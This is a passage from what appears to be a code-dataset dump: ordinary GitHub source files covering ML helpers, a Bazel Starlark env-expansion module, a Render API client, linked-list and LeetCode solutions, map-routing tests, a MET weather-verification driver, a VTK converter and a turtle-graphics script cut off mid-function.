results_list: list of dict containing results {str: *}\n\nExample:\n   params_list = [{'gamma':0.1}, {'gamma':0.01}]\n   results_list = [{'train':0.99,'test':0.80}, {'train':0.99,'test':0.82}]\n   write_results('results.txt', params_list, results_list)\n'''\ndef write_results(results_file, params_list, results_list):\n\n    assert len(params_list) == len(results_list)\n\n    with open(results_file, 'a') as f:\n        for i in range(len(params_list)):\n            results = results_list[i]\n            params = params_list[i]\n\n            params_str = ''\n            for k, v in params.items():\n                params_str += '%s: %s ' % (k, str(v))\n            f.write(params_str + '\\n')\n        \n            results_str = ''\n            for k, v in results.items():\n                results_str += '%s: %s ' % (k, str(v))\n            f.write(results_str + '\\n')\n            f.write('\\n')\n\n'''\nTurns an (n,) numpy array into an (n, 1) numpy array\n\nArguments:\n   arr: the original (n,) numpy array\n\nReturns arr as an (n, 1) numpy array, does not mutate arr\n'''\ndef expand(arr):\n    return np.reshape(arr, (arr.shape[0], 1))\n\n'''\nLoads serialized python dictionaries.\n\nArguments:\n    The pickle file path to load\n\nReturns the training, validation, and test sets\n'''\ndef load_pickled_dataset(pickle_file):\n    print(\"Loading datasets...\")\n    with open(pickle_file, 'rb') as f:\n        save = pickle.load(f)\n\n        X_train = save['X_train']\n        Y_train_multi = save['Y_train_multi']\n        Y_train_binary = save['Y_train_binary']\n        X_val = save['X_val']\n        Y_val_multi = save['Y_val_multi']\n        Y_val_binary = save['Y_val_binary']\n        X_test = save['X_test']\n        Y_test_multi = save['Y_test_multi']\n        Y_test_binary = save['Y_test_binary']\n\n        del save  # hint to help gc free up memory\n\n    return X_train, Y_train_multi, Y_train_binary, X_val, Y_val_multi, Y_val_binary, X_test, Y_test_multi, Y_test_binary\n","repo_name":"zareenc/6.867-project","sub_path":"src/classifiers/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71507363602","text":"\"\"\" Logic to expand env variables (Taken from https://github.com/bazelbuild/bazel/blob/675172439552055398c480990e277bb2f39d6aaa/src/main/starlark/builtins_bzl/common/cc/cc_helper.bzl), Tracking issue: https://github.com/bazelbuild/bazel/issues/16546 \"\"\"\n\ndef _get_expanded_env(ctx, additional_make_variable_substitutions):\n    if not hasattr(ctx.attr, \"env\"):\n        return {}\n    expanded_env = {}\n    for k in ctx.attr.env:\n        expanded_env[k] = _expand(\n            ctx,\n            ctx.attr.env[k],\n            additional_make_variable_substitutions,\n            # By default, Starlark `ctx.expand_location` has `execpath` semantics.\n            # For legacy attributes, e.g. `env`, we want `rootpath` semantics instead.\n            execpath = False,\n        )\n    return expanded_env\n\ndef _expand(ctx, expression, additional_make_variable_substitutions, execpath = True):\n    idx = 0\n    last_make_var_end = 0\n    result = []\n    n = len(expression)\n    for _ in range(n):\n        if idx >= n:\n            break\n        if expression[idx] != \"$\":\n            idx += 1\n            continue\n\n        idx += 1\n\n        # We've met $$ pattern, so $ is escaped.\n        if idx < n and expression[idx] == \"$\":\n            idx += 1\n            result.append(expression[last_make_var_end:idx - 1])\n            last_make_var_end = idx\n            # We might have found a potential start for Make Variable.\n\n        elif idx < n and expression[idx] == \"(\":\n            # Try to find the closing parentheses.\n            make_var_start = idx\n            make_var_end = make_var_start\n            for j in range(idx + 1, n):\n                if expression[j] == \")\":\n                    make_var_end = j\n                    break\n\n            # Note we cannot go out of string's bounds here,\n            # because of this check.\n            # If start of the variable is different from the end,\n            # we found a make variable.\n            if make_var_start != make_var_end:\n                # Some clarifications:\n                # *****$(MAKE_VAR_1)*******$(MAKE_VAR_2)*****\n                #                   ^       ^          ^\n                #                   |       |          |\n                #   last_make_var_end  make_var_start make_var_end\n                result.append(expression[last_make_var_end:make_var_start - 1])\n                make_var = expression[make_var_start + 1:make_var_end]\n                exp = _expand_nested_variable(ctx, additional_make_variable_substitutions, make_var, execpath)\n                result.append(exp)\n\n                # Update indexes.\n                idx = make_var_end + 1\n                last_make_var_end = idx\n\n    # Add the last substring which would be skipped by for loop.\n    if last_make_var_end < n:\n        result.append(expression[last_make_var_end:n])\n\n    return \"\".join(result)\n\ndef _expand_nested_variable(ctx, additional_vars, exp, execpath = True):\n    # If make variable is predefined path variable(like $(location ...))\n    # we will expand it first.\n    if exp.find(\" \") != -1:\n        if not execpath:\n            if exp.startswith(\"location\"):\n                exp = exp.replace(\"location\", \"rootpath\", 1)\n        targets = []\n        if ctx.attr.data != None:\n            targets = ctx.attr.data\n        return ctx.expand_location(\"$({})\".format(exp), targets = targets)\n\n    # Recursively expand nested make variables, but since there is no recursion\n    # in Starlark we will do it via for loop.\n    unbounded_recursion = True\n\n    # The only way to check if the unbounded recursion is happening or not\n    # is to have a look at the depth of the recursion.\n    # 10 seems to be a reasonable number, since it is highly unexpected\n    # to have nested make variables which are expanding more than 10 times.\n    for _ in range(10):\n        exp = _lookup_var(ctx, additional_vars, exp)\n        if len(exp) >= 3 and exp[0] == \"$\" and exp[1] == \"(\" and exp[len(exp) - 1] == \")\":\n            # Try to expand once more.\n            exp = exp[2:len(exp) - 1]\n            continue\n        unbounded_recursion = False\n        break\n\n    if unbounded_recursion:\n        fail(\"potentially unbounded recursion during expansion of {}\".format(exp))\n    return exp\n\ndef _lookup_var(ctx, additional_vars, var):\n    expanded_make_var_ctx = ctx.var.get(var)\n    expanded_make_var_additional = additional_vars.get(var)\n    if expanded_make_var_additional != None:\n        return expanded_make_var_additional\n    if expanded_make_var_ctx != None:\n        return expanded_make_var_ctx\n    fail(\"{}: {} not defined\".format(ctx.label, \"$(\" + var + \")\"))\n\nexpanded_env = struct(\n    get_expanded_env = _get_expanded_env,\n)\n","repo_name":"bazelbuild/rules_swift","sub_path":"swift/internal/env_expansion.bzl","file_name":"env_expansion.bzl","file_ext":"bzl","file_size_in_byte":4681,"program_lang":"python","lang":"en","doc_type":"code","stars":286,"dataset":"github-code","pt":"3"}
+{"seq_id":"36050032952","text":"'''\nservices resource\n'''\n\nfrom renderapi.base_resource import BaseResource\n\nclass ServicesEnvVars(BaseResource):\n    '''services env vars resource'''\n\n    def get(self, serviceId, deployId=None, limit=20, cursor=None):\n        '''get services env vars data\n\n        :param str serviceId: Service ID\n        :param str deployId: Deploy ID\n        :param int limit: Return limit\n        :param str cursor: Cursor for serarch (next)\n        :return object: Returns requests object\n        '''\n        path_vars = [serviceId]\n        path = self.config.API_ENDPOINTS['services']['envvars']\n        return self.make_request(\n            'get',\n            path,\n            path_vars=path_vars,\n            limit=limit,\n            cursor=cursor,\n        )\n\n    def update(self, serviceId, env_vars):\n        '''update services env vars resource\n\n        :param str serviceId: Service ID\n        :param dict env_vars: Deploy ID\n        :return object: Returns requests object\n        '''\n        path_vars = [serviceId]\n        path = self.config.API_ENDPOINTS['services']['envvars']\n        return self.make_request(\n            'put',\n            path,\n            path_vars=path_vars,\n            request_json=env_vars,\n        )\n","repo_name":"abrihter/renderapi","sub_path":"renderapi/endpoints/services_env_vars.py","file_name":"services_env_vars.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"73435633041","text":"\"\"\"\n输入一个链表，按链表值从尾到头的顺序返回一个ArrayList。\n\"\"\"\n# -*- coding:utf-8 -*-\n# class ListNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution:\n    # 返回从尾部到头部的列表值序列，例如[1,2,3]\n    def printListFromTailToHead1(self, listNode):\n        # 法一：不该变链表结构，使用栈\n        stack = []\n        p = listNode\n        while p:\n            stack.append(p.val)\n            p = p.next\n        return stack[::-1]\n        # stack.reverse()\n        # return stack\n\n    def printListFromTailToHead2(self, listNode):\n        # 法二：不改变链表结构，使用递归，递归本质上是一个栈结构\n        res = []\n        if not listNode:\n            return res\n        tail = self.printListFromTailToHead(listNode.next)\n        res += tail\n        res.append(listNode.val)\n        return res\n\n    def printListFromTailToHead(self, listNode):\n        # 法三：改变链表结构，把链表进行reverse，使用迭代\n        pre = None\n        while listNode:\n            next = listNode.next\n            listNode.next = pre\n            pre = listNode\n            listNode = next\n        res = []\n        while pre:\n            res.append(pre.val)\n            pre = pre.next\n        return res\n\n","repo_name":"xiaomojie/NowCoder","sub_path":"offer/6.从尾到头打印链表.py","file_name":"6.从尾到头打印链表.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29242713577","text":"import datetime\n\nfrom maps.analyzer.pylibs.test_tools.compare_tables import assert_equal_tables\nfrom maps.pylibs.yt.lib import unwrap_yt_error\nimport maps.analyzer.toolkit.lib.path_time_estimator as path_estimator\nimport maps.analyzer.toolkit.lib.schema as schema\n\n\ndef replace_index_with_track_key(ytc, t, index_to_track_start_time):\n    def mapper(r):\n        i = r.pop(path_estimator.INDEX)\n        r[schema.CLID.name] = 'clid_{}'.format(i)\n        r[schema.UUID.name] = 'uuid_{}'.format(i)\n        r[schema.TRACK_START_TIME.name] = index_to_track_start_time[i]\n        yield r\n\n    result = ytc.create_temp_table()\n    ytc.run_map(mapper, t, result)\n    return result\n\n\ndef test_jams_builder(ytc):\n    \"\"\"\n    Test of building reversed jams\n    \"\"\"\n    expected = \"//path_time_estimator/jams_builder1.out\"\n    with unwrap_yt_error():\n        result = path_estimator.build_reversed_jams(\n            ytc,\n            travel_times=\"//path_time_estimator/jams_builder1.in\",\n            build_jams_kwargs={\n                'max_category': None,\n            },\n            interpolation_config=path_estimator.IntepolationConfig(\n                window=300, horizon=300, window_by=schema.LEAVE_TIME.name\n            ),\n            engine_config=path_estimator.DEFAULT_ENGINE_CONFIG.patch(\n                common_ratio=0.9,\n                max_signal_count_for_calculation_with_model=0,\n                model_path=None,\n            )\n        )\n    assert_equal_tables(ytc, expected, result, float_columns=[schema.TRAVEL_TIME.name])\n\n\ndef test_path_estimator(ytc):\n    \"\"\"\n    test of path time estimating algorithm\n    \"\"\"\n    expected = \"//path_time_estimator/calculate_time_by_paths1.out\"\n    with unwrap_yt_error():\n        result = path_estimator.calculate_time_by_paths(\n            ytc,\n            begin_time=None,\n            end_time=None,\n            routes=\"//path_time_estimator/routes.in\",\n            jams=\"//path_time_estimator/jams.in\"\n        )\n    assert_equal_tables(ytc, expected, result, float_columns=[schema.JAMS_COVERAGE.name, schema.TOTAL_TIME_ESTIMATED.name])\n\n\ndef test_add_future_jams_to_routes(ytc):\n    expected = \"//path_time_estimator/add_future_jams_to_routes1.out\"\n    with unwrap_yt_error():\n        flattened_routes = path_estimator.flatten_routes(\n            ytc,\n            \"//path_time_estimator/routes.in\",\n            key_columns=(path_estimator.INDEX, schema.TRACK_START_TIME.name)\n        )\n\n        result = path_estimator.add_future_jams_to_routes(\n            ytc,\n            flattened_routes=flattened_routes,\n            jams=\"//path_time_estimator/jams.in\",\n            max_jams_age=datetime.timedelta(seconds=61), max_route_duration=datetime.timedelta(hours=3)\n        )\n    assert_equal_tables(ytc, expected, result, unordered=True)\n\n\ndef test_path_estimator_track_key(ytc):\n    \"\"\"\n    test of path time estimating algorithm using (clid, uuid, track_start_time) as track key\n    \"\"\"\n    src_routes = \"//path_time_estimator/routes.in\"\n    index_to_track_start_time = {\n        r[path_estimator.INDEX] : r[schema.TRACK_START_TIME.name]\n        for r in ytc.read_table(src_routes)\n    }\n    expected = replace_index_with_track_key(\n        ytc, \"//path_time_estimator/calculate_time_by_paths1.out\", index_to_track_start_time\n    )\n    with unwrap_yt_error():\n        result = path_estimator.calculate_time_by_paths(\n            ytc,\n            begin_time=None,\n            end_time=None,\n            routes=replace_index_with_track_key(ytc, src_routes, index_to_track_start_time),\n            jams=\"//path_time_estimator/jams.in\",\n            key_columns=(schema.CLID.name, schema.UUID.name, schema.TRACK_START_TIME.name),\n        )\n    assert_equal_tables(ytc, expected, result, float_columns=[schema.JAMS_COVERAGE.name, schema.TOTAL_TIME_ESTIMATED.name])\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/lib/path_time_estimator/test_path_time_estimator.py","file_name":"test_path_time_estimator.py","file_ext":"py","file_size_in_byte":3807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39793068425","text":"#!/usr/bin/env python\n\nimport argparse\nfrom datetime import datetime\nimport os\nfrom pkg_resources import resource_filename\nimport shutil\n\nfrom run_met import fcst_processing, obs_processing, \\\n    met_processing\n\n\"\"\"\n    1. Synopsis:\n        Run MET verification using:\n            * wrfout from S3\n            * observations from DDB\n        Note: only ADPSFC (FM-12) data is supported\n        \n    2. start_met directories structure\n   ---------------------------------------\n   - forecast preprocessing\n   ---------------------------------------\n    * fcst/2017121801/wrf_hourly_*                    : downloaded wrf output \n                                                       (\"2017121801 is the analysis time\")\n    * wrf_interp/2017121801/wrf_hourly_*              : wrf output from wrf_interp\n                                                       (\"2017121801 is the analysis time\")\n\n   ---------------------------------------                          \n   - observation preprocessing\n   ---------------------------------------\n    * little_r/all.little_r.2017-12-18_02             : downloaded observation (in little_r)\n    * obsproc/obs_gts_2017-12-18_02:00:00.3DVAR       : obs processed by obsproc (hourly data)\n    * obs_ascii/obs_ascii                             : obs written in ascii for MET\n    * ascii2nc/obs_ascii.nc                           : obs written in netcdf\n    \n    ---------------------------------------\n    - met: verification\n    ---------------------------------------\n     * met_dir/point_stat/2017121801/*                : output from point_stat\n                                                        (\"2017121801 is the analysis time\")\n                                                        \n    ---------------------------------------\n    - Example for debugging\n    ---------------------------------------\n        return PARSER.parse_args(['--start_analysis_time', '201712271800', '--end_analysis_time', '201712271800',\n                              '--analysis_time_interval', '1', '--forecast_length', '2',\n                              '--obsproc_installation', '/home/jzanetti/programs/WRFDA_V3.9.1/WRFDA/var/obsproc',\n                              '--wrf_interp_installation', '/home/jzanetti/programs/wrf_interp/wrf_interp',\n                              '--met_installation', '/home/jzanetti/programs/met-6.0.20170403/met-6.0',\n                              '--work_dir', '//home/jzanetti/mydata/run_met',\n                              '--run_obspreprocess', '--ascii2nc_config', '/home/jzanetti/workspace/run_met/etc/ascii2nc.config',\n                              '--run_wrf_interp', '--model', 'nz8kmN-NCEP', '--domain_id', '2',\n                              '--run_pointstat', '--pointstat_config', '/home/jzanetti/workspace/run_met/etc/pointstat.config'\n                              ])\n        return PARSER.parse_args(['--start_analysis_time', '201712250000', '--end_analysis_time', '201712250000',\n                              '--analysis_time_interval', '1', '--forecast_length', '1',\n                              '--obsproc_installation', '/home/szhang/Programs/WRFDA_V3.9.1/WRFDA/var/obsproc',\n                              '--wrf_interp_installation', '/home/szhang/programs/wrf_interp/wrf_interp',\n                              '--met_installation', '/home/szhang/Programs/met-6.0/met-6.0',\n                              '--work_dir', '/home/szhang/Desktop/run_ver/met/nz8kmN-NCEP',\n                              '--run_obs2ascii', '--ascii2nc_config', '/home/szhang/workspace/run_met_20180110/etc/ascii2nc.config',\n                              '--run_wrf_interp', '--model', 'nz8kmN-NCEP', '--domain_id', '2',\n                              '--run_pointstat', '--pointstat_config', '/home/szhang/workspace/run_met_20180110/etc/pointstat.config'\n                              ])\n                        \n\n\"\"\"\n\ndef valid_datetime(timestamp):\n    '''turn a timestamp into a datetime object'''\n    try:\n        return datetime.strptime(timestamp, \"%Y%m%d%H%M\")\n    except ValueError:\n        msg = \"Not a valid date: '{}'.\".format(timestamp)\n    raise argparse.ArgumentTypeError(msg)\n\ndef setup_dir(new_run, working_dir):\n    if new_run:\n        if os.path.exists(working_dir):\n            shutil.rmtree(working_dir)\n    \n    dir_dict = {}\n    dir_dict['little_r_dir'] = os.path.join(working_dir, 'little_r')\n    dir_dict['obsproc_dir'] = os.path.join(working_dir, 'obsproc')\n    dir_dict['obs_ascii_dir'] = os.path.join(working_dir, 'obs_ascii')\n    dir_dict['obs_ascii2nc'] = os.path.join(working_dir, 'ascii2nc')\n    dir_dict['fcst_dir'] = os.path.join(working_dir, 'fcst')\n    dir_dict['wrf_interp_dir'] = os.path.join(working_dir, 'wp')\n    dir_dict['point_stat_dir'] = os.path.join(working_dir, 'met_dir', 'point_stat')\n    \n    for cdir in dir_dict.keys():\n        if not os.path.exists(dir_dict[cdir]):\n            os.makedirs(dir_dict[cdir])\n\n    return dir_dict\n\ndef setup_parser():\n    \"\"\"run verifications\"\"\"\n    PARSER = argparse.ArgumentParser(\n            description='run verifications')\n    \n    # -----------------\n    # required\n    # -----------------\n    PARSER.add_argument('--start_analysis_time', type=valid_datetime, \n                        required=True, help=\"start analysis time (YYYYMMDDHHM)\")\n    PARSER.add_argument('--end_analysis_time', type=valid_datetime, \n                        required=True, help=\"end analysis time (YYYYMMDDHHM)\")\n    PARSER.add_argument('--forecast_length', type=str, \n                        required=True, help=\"forecast length (hour)\")\n    PARSER.add_argument('--analysis_time_interval', type=str, \n                        required=True, help=\"analysis time increment\")\n    PARSER.add_argument('--obsproc_installation', type=str, \n                        required=True, help=\"obsproc installation\")\n    PARSER.add_argument('--wrf_interp_installation', type=str, \n                        required=True, help=\"wrf_interp installation\")\n    PARSER.add_argument('--met_installation', type=str, \n                        required=True, help=\"met installation\")\n    PARSER.add_argument('--model', type=str, default='nz8kmN-NCEP', \n                        required=True, help=\"model name\")\n\n  \n    # -----------------\n    # optional\n    # -----------------\n    PARSER.add_argument('--work_dir', type=str, \n                        required=False, default=os.getcwd(), help='working dir')\n    PARSER.add_argument('--new_run', dest = 'new_run', default=False, \n                        help=\"delete the old data and create a new run\",action='store_true')\n    PARSER.add_argument('--domain_id', type=str, default='2', help=\"domain ID\")\n\n    # -----------------\n    # download data from s3/ddb (download_obs, download_fcst)\n    # -----------------\n    PARSER.add_argument('--download_obs', dest = 'download_obs', default=False, \n                        help=\"download observation in little_r\",action='store_true')\n    PARSER.add_argument('--pre_download_obs', dest = 'pre_download_obs', type=str, \n                        help=\"downloaded obs from previous true (not effective if \\\n                        --download_obs is on)\", default=None)\n    PARSER.add_argument('--download_fcst', dest = 'download_fcst', default=False, \n                        help=\"download wrfout from S3\",action='store_true')\n    PARSER.add_argument('--download_fcst_source', dest = 'download_fcst_source', \n                        default='internal', \n                        help=\"choose from internal or archive\")\n    PARSER.add_argument('--download_fcst_unique_id', \n                        dest = 'download_fcst_unique_id', \n                        default='12345', \n                        help=\"unique_id required by data download from internal\")\n\n\n    # -----------------\n    # run observation preprocessing (obsproc => obs2ascii => ascii2nc)\n    # -----------------\n    PARSER.add_argument('--run_obspreprocess', dest = 'run_obspreprocess', default=False, \n                        help=\"run all obs preprcessing tasks: \\\n                        run_obsproc + run_obs2ascii + run_ascii22nc\", \n                        action='store_true')\n    PARSER.add_argument('--run_obsproc', dest = 'run_obsproc', default=False, \n                        help=\"run obsproc to little_r\",action='store_true')\n    PARSER.add_argument('--run_obs2ascii', dest = 'run_obs2ascii', default=False, \n                        help=\"covert obsproc output to the \\\n                            format required by ascii2nc\",action='store_true')\n    PARSER.add_argument('--run_ascii2nc', dest = 'run_ascii2nc', default=False, \n                        help=\"run ascii2nc from MET\",action='store_true')\n    PARSER.add_argument('--ascii2nc_config', type=str, required=False,\n                        help=\"ascii2nc config\")\n\n\n    # -----------------\n    # run fcst preprocessing (wrf_interp)\n    # -----------------\n    PARSER.add_argument('--run_wrf_interp', dest = 'run_wrf_interp', default=False, \n                        help=\"run wrf_interp\",action='store_true')\n\n    # -----------------------\n    # pointstat\n    # -----------------------\n    PARSER.add_argument('--run_pointstat', dest = 'run_pointstat', default=False, \n                        help=\"run pointstat from MET\",action='store_true')\n    PARSER.add_argument('--pointstat_config', type=str, required=False,\n                        help=\"pointstat config\")\n\n    # -----------------------\n    # local_checks\n    # -----------------------\n    PARSER.add_argument('--run_local_checks', dest = 'run_local_checks', default=False, \n                        help=\"run point based verification using local codes\",action='store_true')\n\n    return PARSER.parse_args()\n    '''\n    return PARSER.parse_args(['--start_analysis_time', '201712250000', '--end_analysis_time', '201712250000',\n                              '--analysis_time_interval', '1', '--forecast_length', '8',\n                              '--obsproc_installation', '/home/szhang/programs/WRFDA_V3.9.1/WRFDA/var/obsproc',\n                              '--wrf_interp_installation', '/home/szhang/programs/wrf_interp/wrf_interp',\n                              '--met_installation', '/home/szhang/programs/met-6.0.20170403/met-6.0',\n                              '--work_dir', '/home/szhang/workspace/gsi_exp/met/obs',\n                              '--run_obsproc', '--run_obs2ascii', '--model', 'nz8kmN-NCEP',  '--download_obs'\n                              ])\n    '''\n    \n    \ndef main():\n    args = setup_parser()\n    \n    # 0: set up the required directoriesobsproc_dir\n    dir_dict = setup_dir(args.new_run, args.work_dir)\n    if args.run_obspreprocess:\n        args.run_obsproc = args.run_obs2ascii \\\n             = args.run_ascii2nc = True\n    \n    # ----------------------------------------------\n    # 1. Process observations\n    # ----------------------------------------------\n    # 1.1: download little_r\n    if args.download_obs:\n        obs_processing.download_obs(args, dir_dict['little_r_dir'])\n    \n        # 1.2: run obsproc\n        if args.run_obsproc:\n            # 1.2.1 check if model name is provided\n            if not args.model:\n                raise Exception('model name is required for run_obsproc, use --model')\n            \n            # 1.2.2 check if the model config is provided (according to the model name)\n            fcst_config_path = \\\n                resource_filename('run_met', \n                                  '../../../../run_met/etc/{}.yaml'.format(args.model))\n                \n            #fcst_config_path = '/home/szhang/GitHub_branches/run_met_20180420/etc/nz8kmN-NCEP.yaml'\n            if not os.path.exists(fcst_config_path):\n                raise Exception(fcst_config_path + ' does not exist')\n            # 1.2.3 run obsproc\n            obs_processing.run_obsproc(args, fcst_config_path, \n                                       dir_dict['little_r_dir'], dir_dict['obsproc_dir'])\n        \n        # 1.3: convert output from obsproc to the ascii format that required by ascii2nc (met)\n        if args.run_obs2ascii:\n            obsproc_data, processed_list = obs_processing.get_obsproc_obs(args, dir_dict['obsproc_dir'])\n            obs_processing.obsproc2ascii(dir_dict['obs_ascii_dir'], obsproc_data, processed_list)\n        \n        # 1.4: run ascii2nc\n        if args.run_ascii2nc:\n            if not args.ascii2nc_config:\n                raise Exception('Config for ascii2nc is missing (required by run_ascii2nc), use --ascii2nc_config')\n            obs_processing.ascii2nc(dir_dict['obs_ascii_dir'], dir_dict['obs_ascii2nc'],\n                         args.met_installation, args.ascii2nc_config)\n    \n    else:\n        if args.pre_download_obs and \\\n            (not os.path.exists(os.path.join(dir_dict['obs_ascii2nc'], 'obs_ascii.nc'))):\n            os.symlink(args.pre_download_obs, \n                       os.path.join(dir_dict['obs_ascii2nc'], 'obs_ascii.nc'))\n    \n    # ----------------------------------------------\n    # 2. Process forecast\n    # ----------------------------------------------\n    # 2.1: download forecast\n    if args.download_fcst:\n        fcst_processing.download_fcst(args, dir_dict['fcst_dir'])\n    \n    # 2.2: run wrf_interp\n    if args.run_wrf_interp:\n        if not (args.model and args.domain_id):\n            raise Exception('--model and --domain_id are required by --run_wrf_interp')\n        fcst_processing.wrf_interp(args, dir_dict['fcst_dir'], \n                                   dir_dict['wrf_interp_dir'])\n        \n    # ----------------------------------------------\n    # 3. run point_stat\n    # ----------------------------------------------        \n    # 3.1 run point_stat\n    if args.run_pointstat:\n        if not args.pointstat_config:\n            raise Exception('--pointstat_config is required by --run_pointstat')\n        met_processing.run_pointstat(args, dir_dict,\n                                     args.pointstat_config)\n        \n\n  \nif __name__ == '__main__':\n    main()\n    \n","repo_name":"jzanetti/run_met","sub_path":"scripts/start_met.py","file_name":"start_met.py","file_ext":"py","file_size_in_byte":13975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74554792402","text":"#!/usr/bin/env python\n\nfrom numpy import *\nimport argparse\nimport os\nimport gzip\n\n# This is the header that goes at the top of all VTK files\nvtkheader=\"\"\"# vtk DataFile Version 3.0\nvtk output\nASCII\nDATASET STRUCTURED_GRID\n\"\"\"\n\n# Load all of the information needed from the file\ndef loadplanefile(filename):\n    dat=loadtxt(filename, skiprows=2)\n    # Get the maximum indices\n    numplanes = int(max(dat[:,0]))\n    Numj      = int(max(dat[:,1]))\n    Numi      = int(max(dat[:,2]))\n    #print numplanes, Numi, Numj\n    fname, fext = os.path.splitext(filename)\n    if ((fext == '.gz') or (fext == '.GZ')):\n        with gzip.open(filename) as fp:\n            timestring = fp.readline().strip().split()[1]\n            headers    = fp.readline().strip('#').split()[1:]\n    else:\n        with open(filename) as fp:\n            timestring = fp.readline().strip().split()[1]\n            headers    = fp.readline().strip('#').split()[1:]\n    time=float(timestring)\n    #print time, headers\n    fp.close()\n    return dat, time, headers\n\n# group the list of variables\ndef groupvars(allvarlist):\n    justvarnames = [x.split(\"[\")[0] for x in allvarlist]\n    uniquevars   = []\n    [uniquevars.append(x) for x in justvarnames if x not in uniquevars]\n    varsizes = [[x, justvarnames.count(x)] for x in uniquevars]\n    return varsizes\n\n# Convert a file into vtk format    \ndef convertfile(filename, planenum=-1, outdir=''):\n    basefile=os.path.splitext(filename)[0]\n    headfile, tailfile=os.path.split(basefile)\n    print(\"Converting \"+filename)\n    dat, time, headers=loadplanefile(filename)\n    allvars   = headers[5:]\n    groupedvars=groupvars(allvars)\n    numplanes = int(max(dat[:,0]))+1\n    Numj      = int(max(dat[:,1]))+1\n    Numi      = int(max(dat[:,2]))+1\n    Nvars     = len(allvars)\n    Ngroupedvars=len(groupedvars)\n    #print Numi, Numj, numplanes, Nvars, Ngroupedvars\n    #print allvars, groupedvars\n    if planenum<0:\n        doplanes=arange(numplanes)\n    else:\n        doplanes=[planenum]\n\n    # Go through each plane\n    for planenum in doplanes:\n        planedat  = dat[dat[:,0]==planenum,:]\n        Npoints   = (Numi)*(Numj)\n        Ncells    = (Numi-1)*(Numj-1)\n        if len(outdir)>0: \n            newfile = tailfile+\"_plane\"+repr(planenum)+\".vtk\"\n            newfile = outdir+'/'+newfile\n        else:\n            newfile   = basefile+\"_plane\"+repr(planenum)+\".vtk\"\n        print(\" -> writing \"+newfile)\n        f = open(newfile,\"w\")\n        # Write the header and coordinates\n        f.write(vtkheader)\n        f.write(\"DIMENSIONS %i %i 1\\n\"%(Numi, Numj))\n        f.write(\"POINTS %i float\\n\"%(Npoints))\n        for row in planedat:\n            f.write(\"%e %e %e\\n\"%(row[3], row[4], row[5]))\n        f.write(\"CELL_DATA %i\\n\"%Ncells)\n        f.write(\"POINT_DATA %i\\n\"%Npoints)\n        # Write the variables\n        f.write(\"FIELD FieldData %i\\n\"%Ngroupedvars)\n        icol=6\n        for ivar, var in enumerate(groupedvars):\n            varname=var[0]\n            varcomp=var[1]\n            f.write(\"%s %i %i float\\n\"%(varname, varcomp, Npoints))\n            for row in planedat:\n                f.write(\" \".join([repr(x) for x in row[icol:icol+varcomp]]))\n                f.write(\"\\n\")\n            icol = icol+varcomp\n        f.close()\n    return\n\n# Handle arguments\nparser = argparse.ArgumentParser(description='Convert sample planes to ASCII VTK format')\nparser.add_argument('PLANEFILE',  nargs='+',   help=\"Sample plane file(s) to convert\")\nparser.add_argument('--planenum', default=-1,  help=\"Convert only this offset plane number [default: convert all planes]\")\nparser.add_argument('--outdir',   default='',  help=\"Write output files in that directory\")\nargs=parser.parse_args()\n\n# Get the default and user arguments\nfilelist  = args.PLANEFILE\nplanenum  = int(args.planenum)\noutdir    = args.outdir\n\n#print filelist\nfor file in filelist:\n    convertfile(file, planenum=planenum, outdir=outdir)\n","repo_name":"lawrenceccheung/NaluWindHelperScripts","sub_path":"convertSamplePlane2VTK.py","file_name":"convertSamplePlane2VTK.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"31322984814","text":"class Solution(object):\n    def partitionLabels(self, s):\n        # :type s: str\n        # :rtype: List[int]\n        # Beats 89.1%\n        # Initially forgot and made i start at 1 which doesn't take into account cases the first str can be a substr\n\n        # Diction containg the last string occurence in s\n        c = {}\n\n        for i in range(len(s)):\n            c[s[i]] = i\n\n        res = []\n\n        curr = 1\n        i = 0\n        goal = c[s[0]]\n\n        # Edge case len(s) == 1 or 0 for better efficiency\n        if len(s) == 1:\n            return 1\n        elif len(s) == 0:\n            return 0\n\n        while i < len(s):\n            goal = max(goal, c[s[i]])\n\n            if goal == i:\n                res.append(curr)\n                curr = 0\n\n            curr += 1\n            i += 1\n\n        return res\n\n\na = Solution()\nprint(a.partitionLabels(\"ababcbacadefegdehijhklij\"))\n","repo_name":"luyangliuable/coding-notes","sub_path":"algorithms/leetcode/partition_labels.py","file_name":"partition_labels.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"10774373401","text":"from turtle import *\nimport random, math\n\nDART_POS = []\nPI = math.pi\nRadi = 120\n\ndef venn_diagram():\n    #function to create venn diagrams\n\n    colors = ['red','blue','green']\n    diagram = Turtle()\n    diagram.speed('fast')\n\n    diagram.color(colors[0])\n    diagram.begin_fill()\n    diagram.penup()\n    diagram.back(210)\n    diagram.left(90)\n    diagram.pendown()\n    diagram.circle(-120)\n\n    diagram.right(90)\n    diagram.penup()\n    diagram.home()\n\n    diagram.color(colors[1])\n    diagram.forward(90)\n    diagram.forward(120)\n    diagram.left(90)\n    diagram.pendown()\n    diagram.circle(120)\n\n\n    diagram.right(90)\n    diagram.penup()\n    diagram.home()\n\n    diagram.color(colors[2])\n    diagram.left(90)\n    diagram.forward(150)\n    diagram.forward(120)\n    diagram.right(90)\n    diagram.pendown()\n    diagram.circle(-120)\n    diagram.penup()\n\n    diagram.hideturtle()\n\ndef generate_dart():\n    dart = Turtle()\n    dart.penup()\n\n    #generating random coordinates for the dart\n    xcoor = random.randint(-300, 300)\n    ycoor = random.randint(-300, 300)\n\n    #append x,y coordinates too Global Variable\n    DART_POS.append(xcoor)\n    